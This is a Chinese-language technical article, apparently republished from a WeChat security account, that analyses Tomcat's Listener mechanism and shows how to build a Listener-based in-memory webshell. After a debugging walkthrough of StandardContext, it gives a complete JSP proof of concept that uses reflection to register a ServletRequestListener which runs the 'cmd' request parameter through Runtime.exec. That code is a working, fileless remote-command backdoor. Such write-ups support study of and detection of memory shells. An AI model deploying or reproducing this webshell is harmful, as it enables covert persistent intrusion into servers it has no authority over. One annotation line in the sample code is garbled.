基本介绍
Listener是一种Java组件,它主要用于监听和响应Tomcat容器中特定事件的发生,Tomcat中的Listener主要用于在Web应用程序的生命周期内执行各种操作,例如:初始化资源、销毁资源、处理会话事件等,根据事件源的不同,我们可以将Listener分为如下几种,其中ServletRequestListener最适合用来作内存马,它主要用来监听ServletRequest对象的,访问任意资源都会触发ServletRequestListener#requestInitialized()方法:
-
ServletContextListener:监听Web应用程序的启动和关闭事件,需要实现contextInitialized和contextDestroyed两个方法
-
ServletRequestListener:监听HTTP请求的创建和销毁事件,需要实现requestInitialized和requestDestroyed两个方法
-
HttpSessionListener:监听HTTP会话的创建和销毁事件,需要实现sessionCreated和sessionDestroyed两个方法
-
HttpSessionAttributeListener:监听HTTP会话属性的添加、删除和替换事件,需要实现attributeAdded、attributeRemoved和attributeReplaced三个方法
动态注册
Apache Tomcat 7开始支持Servlet 3.0,Servlet 3.0引入了一项重要的特性——动态注册功能,这一功能使得开发者能够在运行时动态地注册Servlets、Fliter、Listener,而无需在web.xml配置文件中进行静态配置,这种灵活性大大简化了Web应用程序的管理和扩展,同时也为我们构造Tomcat中间件内存马奠定了基础,而无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册,Servlet、Listener、Filter都是由javax.servlet.ServletContext去加载,从下面我们可以看到ServletContext提供了add*/create*方法来实现动态注册的功能
简易示例
下面我们创建一个简易的LIstener示例
package com.al1ex.servlet;
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
"/test") (
public class ListenerTest implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("[+] destroy TestListener");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("[+] initial TestListener");
}
}
运行结果如下所示:
调试分析
我们在requestInitialized方法处下断点进行调试分析:
完整的调用栈如下所示:
requestInitialized:15, ListenerTest (com.al1ex.servlet)
fireRequestInitEvent:5905, StandardContext (org.apache.catalina.core)
invoke:125, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:87, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:615, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1626, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
StandardContext#fireRequestInitEvent调用了我们的Listener,我们跟进看其实现
public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
Object[] arr$ = instances;
int len$ = arr$.length;
for(int i$ = 0; i$ < len$; ++i$) {
Object instance = arr$[i$];
if (instance != null && instance instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instance;
try {
listener.requestInitialized(event);
} catch (Throwable var10) {
Throwable t = var10;
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), t);
request.setAttribute("javax.servlet.error.exception", t);
return false;
}
}
}
}
return true;
}
可以看到这里首先通过getApplicationEventListeners()获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)方法触发Listener,随后我们跟进getApplicationEventListeners()方法:
可以看到Listener实际上是存储在applicationEventListenersList属性中的
而且我们可以通过StandardContext#addApplicationEventListener()方法来添加Listener
注册实现
结合上面的分析我们可以得出Listener型内存马的实现步骤:
-
获取StandardContext上下文
-
实现一个恶意的Listener示例
-
通过StandardContext#addApplicationEventListener方法添加恶意Listener
第一步实现
由于JSP内置了request对象,所以我们可以使用同样的方式来获取StandardContext上下文
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
另外一种实现方式:
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>
第二步实现
接下来我们需要构造一个恶意的Listener类:
<%!
public class ListenerShell implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
第三步实现
随后我们通过StandardContext#addApplicationEventListener方法添加恶意Listener
<%
ListenerShell listenershell = new ListenerShell();
context.addApplicationEventListener(listenershell);
%>
完整POC
完整的POC如下所示:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class ListenerShell implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
ListenerShell listenershell = new ListenerShell();
context.addApplicationEventListener(listenershell);
%>
执行效果如下所示:
随后访问任意路由并执行载荷:
原文始发于微信公众号(七芒星实验室):Tomcat内存马之Listener内存马剖析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论